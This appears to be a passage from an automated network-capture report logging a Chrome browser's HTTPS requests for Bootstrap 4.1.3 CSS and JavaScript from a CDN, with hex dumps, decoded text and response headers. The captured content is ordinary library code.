70 6f 72 74 61 6e 74 7d 2e 70 2d 6c 67 2d 35 7b 70 61 64 64 69 6e 67 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 
70 74 2d 6c 67 2d 35 2c 2e 70 79 2d 6c 67 2d 35 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 33 72 65 6d 21 69 6d 70 6f 72 74 
61 6e 74 7d 2e 70 72 2d 6c 67 2d 35 2c 2e 70 78 2d 6c 67 2d 35 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 72 65 
6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 62 2d 6c 67 2d 35 2c 2e 70 79 2d 6c 67 2d 35 7b 70 61 64 64 69 6e 67 2d 62 6f 
74 74 6f 6d 3a 33 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 
Data Ascii: -4{padding-bottom:1.5rem!important}.pl-lg-4,.px-lg-4{padding-left:1.5rem!important}.p-lg-5{padding:3rem!impo
rtant}.pt-lg-5,.py-lg-5{padding-top:3rem!important}.pr-lg-5,.px-lg-5{padding-right:3rem!important}.pb-lg-5,.py-lg-5{padding-
bottom:3rem!important}.

2021-11-25 16:27:44 UTC 484 IN Data Raw: 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 65 78 74 2d 78 6c 2d 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 
3a 63 65 6e 74 65 72 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 74 65 78 74 2d 6c 6f 77 65 72 63 61 73 65 7b 74 65 78 74 2d 
74 72 61 6e 73 66 6f 72 6d 3a 6c 6f 77 65 72 63 61 73 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 65 78 74 2d 75 70 70 65 
72 63 61 73 65 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 21 69 6d 70 6f 72 74 61 6e 
74 7d 2e 74 65 78 74 2d 63 61 70 69 74 61 6c 69 7a 65 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 63 61 70 69 74 
61 6c 69 7a 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 6f 6e 74 2d 77 65 69 67 68 74 2d 6c 69 67 68 74 7b 66 6f 6e 74 2d 
77 65 69 67 68 74 3a 33 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 
Data Ascii: important}.text-xl-center{text-align:center!important}}.text-lowercase{text-transform:lowercase!important}.text-
uppercase{text-transform:uppercase!important}.text-capitalize{text-transform:capitalize!important}.font-weight-light{font-
weight:300!important}

2021-11-25 16:27:44 UTC 486 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

21 192.168.2.4 49790 104.18.11.207 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:27:44 UTC 292 OUT GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1
Host: stackpath.bootstrapcdn.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 
Safari/537.36
Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://dev-ce563d81711943.pantheonsite.io/$!&&br.d.g$&!&.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2021-11-25 16:27:44 UTC 352 IN HTTP/1.1 200 OK
Date: Thu, 25 Nov 2021 16:27:44 GMT
Content-Type: application/javascript; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
CDN-PullZone: 252412
CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74
CDN-RequestCountryCode: DE
CDN-EdgeStorageId: 723
CDN-EdgeStorageId: 718
Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT
CDN-CachedAt: 2021-03-11 11:57:52
CDN-RequestPullSuccess: True
CDN-RequestPullCode: 200
Cache-Control: public, max-age=31919000
timing-allow-origin: *
cross-origin-resource-policy: cross-origin
access-control-allow-origin: *
x-content-type-options: nosniff
CDN-RequestId: 48f4598378fe1b699fcee6ac68d6cc25
CDN-Cache: HIT
CF-Cache-Status: HIT
Age: 21410381
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Server: cloudflare
CF-RAY: 6b3c3f043eef690a-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
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2021-11-25 16:27:44 UTC 353 IN Data Raw: 37 62 65 39 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 
73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 
2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 
68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 
73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 
62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 
0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 
Data Ascii: 7be9/*!  * Bootstrap v4.1.3 (https://getbootstrap.com/)  * Copyright 2011-2018 The Bootstrap Authors (https:
//github.com/twbs/bootstrap/graphs/contributors)  * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LI
CENSE)  */!function(

2021-11-25 16:27:44 UTC 353 IN Data Raw: 6f 64 75 6c 65 3f 65 28 65 78 70 6f 72 74 73 2c 72 65 71 75 69 72 65 28 22 6a 71 75 65 72 79 22 29 2c 72 65 
71 75 69 72 65 28 22 70 6f 70 70 65 72 2e 6a 73 22 29 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 
65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 
75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 
2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 
22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 
30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 
Data Ascii: odule?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["expor
ts","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<
e.length;n++){var

2021-11-25 16:27:44 UTC 354 IN Data Raw: 2c 58 65 2c 74 6e 2c 65 6e 2c 6e 6e 2c 72 6e 2c 6f 6e 2c 73 6e 2c 61 6e 2c 6c 6e 2c 63 6e 2c 68 6e 2c 75 6e 
2c 66 6e 2c 64 6e 2c 67 6e 2c 5f 6e 2c 6d 6e 2c 70 6e 2c 76 6e 2c 79 6e 2c 45 6e 2c 43 6e 2c 54 6e 2c 62 6e 2c 53 6e 2c 
49 6e 2c 41 6e 2c 44 6e 2c 77 6e 2c 4e 6e 2c 4f 6e 2c 6b 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 
6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 
6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 
75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 
6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 
Data Ascii: ,Xe,tn,en,nn,rn,on,sn,an,ln,cn,hn,un,fn,dn,gn,_n,mn,pn,vn,yn,En,Cn,Tn,bn,Sn,In,An,Dn,wn,Nn,On,kn,P
n,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSI
TION_END,function(){n=!0}),setTimeout

2021-11-25 16:27:44 UTC 356 IN Data Raw: 5f 45 4e 44 5d 3d 7b 62 69 6e 64 54 79 70 65 3a 65 2c 64 65 6c 65 67 61 74 65 54 79 70 65 3a 65 2c 68 61 6e 
64 6c 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 69 28 74 2e 74 61 72 67 65 74 29 2e 69 73 28 74 68 69 73 29 
29 72 65 74 75 72 6e 20 74 2e 68 61 6e 64 6c 65 4f 62 6a 2e 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 
61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 2
8 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 
6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3
a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 
Data Ascii: _END]={bindType:e,delegateType:e,handle:function(t){if(i(t.target).is(this))return t.handleObj.handler.apply
(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a
,CLICK_DATA_API:"click"+a+".data-api"

2021-11-25 16:27:44 UTC 357 IN Data Raw: 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 34 2e 31 2e 33 22 7d 7d 5d 29 2c 69 7d 
28 29 2c 72 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 75 2e 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 2c 27 5b 64 61 74 
61 2d 64 69 73 6d 69 73 73 3d 22 61 6c 65 72 74 22 5d 27 2c 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 
20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 
43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 
6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 
2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 
Data Ascii: ,get:function(){return"4.1.3"}}]),i}(),r(document).on(u.CLICK_DATA_API,'[data-dismiss="alert"]',_._handleDis
miss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryIn
terface},_),Mn=(p="button",

2021-11-25 16:27:44 UTC 358 IN Data Raw: 7b 6b 65 79 3a 22 56 45 52 53 49 4f 4e 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 
22 34 2e 31 2e 33 22 7d 7d 5d 29 2c 6e 7d 28 29 2c 6d 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 4f 2e 43 4c 49 43 4b 5f 
44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 
28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 
6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6
c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 
50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 
Data Ascii: {key:"VERSION",get:function(){return"4.1.3"}}]),n}(),m(document).on(O.CLICK_DATA_API,I,function(t){t.prevent
Default();var e=t.target;m(e).hasClass(b)||(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.F
OCUS_BLUR_DATA_API,I,function(t){var 

2021-11-25 16:27:44 UTC 360 IN Data Raw: 6f 75 63 68 54 69 6d 65 6f 75 74 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 3d 74 68 69 73 2e 5f 67 
65 74 43 6f 6e 66 69 67 28 65 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 50 28 74 29 5b 30 5d 2c 74 68 69 73 2e 5f 
69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 
65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 
74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 
68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 
65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 
Data Ascii: ouchTimeout=null,this._config=this._getConfig(e),this._element=P(t)[0],this._indicatorsElement=this._element
.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding||this._slide(q)}
,t.nextWhenVisible=function

2021-11-25 16:27:44 UTC 361 IN Data Raw: 65 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 61 
63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 
74 3d 6e 75 6c 6c 7d 2c 74 2e 5f 67 65 74 43 6f 6e 66 69 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 
74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 
2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 
68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 
6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 
Data Ascii: ed=null,this._isSliding=null,this._activeElement=null,this._indicatorsElement=null},t._getConfig=function(t)
{return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(thi
s._element).on(Q.KEYDOWN,fu

Timestamp
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2021-11-25 16:27:44 UTC 362 IN Data Raw: 54 61 72 67 65 74 3a 74 2c 64 69 72 65 63 74 69 6f 6e 3a 65 2c 66 72 6f 6d 3a 69 2c 74 6f 3a 6e 7d 29 3b 72 
65 74 75 72 6e 20 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 74 72 69 67 67 65 72 28 72 29 2c 72 7d 2c 74 2e 5f 
73 65 74 41 63 74 69 76 65 49 6e 64 69 63 61 74 6f 72 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 
28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 
2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 
74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 
73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 
Data Ascii: Target:t,direction:e,from:i,to:n});return P(this._element).trigger(r),r},t._setActiveIndicatorElement=function(t){if(t
his._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this.
_indicatorsElemen

2021-11-25 16:27:44 UTC 364 IN Data Raw: 76 61 72 20 6e 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 69 3f 69 3a 65 2e 73 6c 69 64 65 3b 69 
66 28 74 7c 7c 28 74 3d 6e 65 77 20 6f 28 74 68 69 73 2c 65 29 2c 50 28 74 68 69 73 29 2e 64 61 74 61 28 48 2c 74 29 
29 2c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 69 29 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 
72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 
20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 
65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2
e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 
Data Ascii: var n="string"==typeof i?i:e.slide;if(t||(t=new o(this,e),P(this).data(H,t)),"number"==typeof i)t.to(i);else if("strin
g"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.paus
e(),t.cycle())})}

2021-11-25 16:27:44 UTC 365 IN Data Raw: 6c 6c 61 70 73 65 22 5d 27 2c 54 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 65 
2c 74 29 7b 74 68 69 73 2e 5f 69 73 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 3d 21 31 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 
6e 74 3d 65 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 3d 74 68 69 73 2e 5f 67 65 74 43 6f 6e 66 69 67 28 74 29 2c 74 68 69 
73 2e 5f 74 72 69 67 67 65 72 41 72 72 61 79 3d 73 74 2e 6d 61 6b 65 41 72 72 61 79 28 64 6f 63 75 6d 65 6e 74 2e 71 
75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 63 6f 6c 6c 61 70 73 65 22 
5d 5b 68 72 65 66 3d 22 23 27 2b 65 2e 69 64 2b 27 22 5d 2c 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 63 6f 6c 6c 61 70 
73 65 22 5d 5b 64 61 74 61 2d 74 61 72 67 65 74 3d 22 23 27 
Data Ascii: llapse"]',Tt=function(){function a(e,t){this._isTransitioning=!1,this._element=e,this._config=this._getConfi
g(t),this._triggerArray=st.makeArray(document.querySelectorAll('[data-toggle="collapse"][href="#'+e.id+'"],[data-toggle=
"collapse"][data-target="#'

2021-11-25 16:27:44 UTC 366 IN Data Raw: 61 64 64 43 6c 61 73 73 28 6d 74 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 74 79 6c 65 5b 72 5d 3d 
30 2c 74 68 69 73 2e 5f 74 72 69 67 67 65 72 41 72 72 61 79 2e 6c 65 6e 67 74 68 26 26 73 74 28 74 68 69 73 2e 5f 74 
72 69 67 67 65 72 41 72 72 61 79 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 70 74 29 2e 61 74 74 72 28 22 61 72 69 61 
2d 65 78 70 61 6e 64 65 64 22 2c 21 30 29 2c 74 68 69 73 2e 73 65 74 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 28 21 30 2
9 3b 76 61 72 20 6f 3d 22 73 63 72 6f 6c 6c 22 2b 28 72 5b 30 5d 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2b 72 2e 73 6
c 69 63 65 28 31 29 29 2c 73 3d 46 6e 2e 67 65 74 54 72 61 6e 73 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 46 72 6f 6d 45 
6c 65 6d 65 6e 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 3b 
Data Ascii: addClass(mt),this._element.style[r]=0,this._triggerArray.length&&st(this._triggerArray).removeClass(pt).attr
("aria-expanded",!0),this.setTransitioning(!0);var o="scroll"+(r[0].toUpperCase()+r.slice(1)),s=Fn.getTransitionDuration
FromElement(this._element);

2021-11-25 16:27:44 UTC 368 IN Data Raw: 6f 6e 45 6e 64 28 61 29 7d 7d 7d 2c 74 2e 73 65 74 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 3d 66 75 6e 63 74 
69 6f 6e 28 74 29 7b 74 68 69 73 2e 5f 69 73 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 3d 74 7d 2c 74 2e 64 69 73 70 6f 73 
65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 73 74 2e 72 65 6d 6f 76 65 44 61 74 61 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 
2c 6c 74 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 70 61 72 65 6e 74 3d 6e 75 6c 6c 
2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 74 72 69 67 67 65 72 41 72 72 61 79 3d 6e 
75 6c 6c 2c 74 68 69 73 2e 5f 69 73 54 72 61 6e 73 69 74 69 6f 6e 69 6e 67 3d 6e 75 6c 6c 7d 2c 74 2e 5f 67 65 74 43 6f 
6e 66 69 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 
Data Ascii: onEnd(a)}}},t.setTransitioning=function(t){this._isTransitioning=t},t.dispose=function(){st.removeData(this.
_element,lt),this._config=null,this._parent=null,this._element=null,this._triggerArray=null,this._isTransitioning=null},
t._getConfig=function(t){re

2021-11-25 16:27:44 UTC 369 IN Data Raw: 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 69 2b 27 22 27 29 3b 65 5b 69 5d 28 29 7d 7d 29 7d 2c 73 28 
61 2c 6e 75 6c 6c 2c 5b 7b 6b 65 79 3a 22 56 45 52 53 49 4f 4e 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 
74 75 72 6e 22 34 2e 31 2e 33 22 7d 7d 2c 7b 6b 65 79 3a 22 44 65 66 61 75 6c 74 22 2c 67 65 74 3a 66 75 6e 63 74 69 
6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 74 7d 7d 5d 29 2c 61 7d 28 29 2c 73 74 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 6e 28 
64 74 2e 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 2c 43 74 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 41 22 3d 3d 3d 74 
2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 26 26 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 
74 28 29 3b 76 61 72 20 6e 3d 73 74 28 74 68 69 73 29 2c 65 3d 
Data Ascii: method named "'+i+'"');e[i]()}})},s(a,null,[{key:"VERSION",get:function(){return"4.1.3"}},{key:"Default",get
:function(){return ut}}]),a}(),st(document).on(dt.CLICK_DATA_API,Ct,function(t){"A"===t.currentTarget.tagName&&t.prevent
Default();var n=st(this),e=

2021-11-25 16:27:44 UTC 370 IN Data Raw: 2c 72 65 66 65 72 65 6e 63 65 3a 22 28 73 74 72 69 6e 67 7c 65 6c 65 6d 65 6e 74 29 22 2c 64 69 73 70 6c 61 
79 3a 22 73 74 72 69 6e 67 22 7d 2c 47 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 74 2c 65 
29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 2c 74 68 69 73 2e 5f 70 6f 70 70 65 72 3d 6e 75 6c 6c 2c 74 68 69 73 
2e 5f 63 6f 6e 66 69 67 3d 74 68 69 73 2e 5f 67 65 74 43 6f 6e 66 69 67 28 65 29 2c 74 68 69 73 2e 5f 6d 65 6e 75 3d 74 
68 69 73 2e 5f 67 65 74 4d 65 6e 75 45 6c 65 6d 65 6e 74 28 29 2c 74 68 69 73 2e 5f 69 6e 4e 61 76 62 61 72 3d 74 68 
69 73 2e 5f 64 65 74 65 63 74 4e 61 76 62 61 72 28 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 
72 73 28 29 7d 76 61 72 20 74 3d 63 2e 70 72 6f 74 6f 74 79 
Data Ascii: ,reference:"(string|element)",display:"string"},Gt=function(){function c(t,e){this._element=t,this._popper=n
ull,this._config=this._getConfig(e),this._menu=this._getMenuElement(),this._inNavbar=this._detectNavbar(),this
._addEventListeners()}var t=c.prototy

2021-11-25 16:27:44 UTC 372 IN Data Raw: 6c 65 6d 65 6e 74 3d 6e 75 6c 6c 2c 28 74 68 69 73 2e 5f 6d 65 6e 75 3d 6e 75 6c 6c 29 21 3d 3d 74 68 69 73 
2e 5f 70 6f 70 70 65 72 26 26 28 74 68 69 73 2e 5f 70 6f 70 70 65 72 2e 64 65 73 74 72 6f 79 28 29 2c 74 68 69 73 2e 5f 
70 6f 70 70 65 72 3d 6e 75 6c 6c 29 7d 2c 74 2e 75 70 64 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 
69 6e 4e 61 76 62 61 72 3d 74 68 69 73 2e 5f 64 65 74 65 63 74 4e 61 76 62 61 72 28 29 2c 6e 75 6c 6c 21 3d 3d 74 68 
69 73 2e 5f 70 6f 70 70 65 72 26 26 74 68 69 73 2e 5f 70 6f 70 70 65 72 2e 73 63 68 65 64 75 6c 65 55 70 64 61 74 65 28 
29 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 
3d 74 68 69 73 3b 62 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 
Data Ascii: lement=null,(this._menu=null)!==this._popper&&(this._popper.destroy(),this._popper=null)},t.update=function()
{this._inNavbar=this._detectNavbar(),null!==this._popper&&this._popper.scheduleUpdate()},t._addEventListeners=function(
){var e=this;bt(this._eleme
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2021-11-25 16:27:44 UTC 373 IN Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 
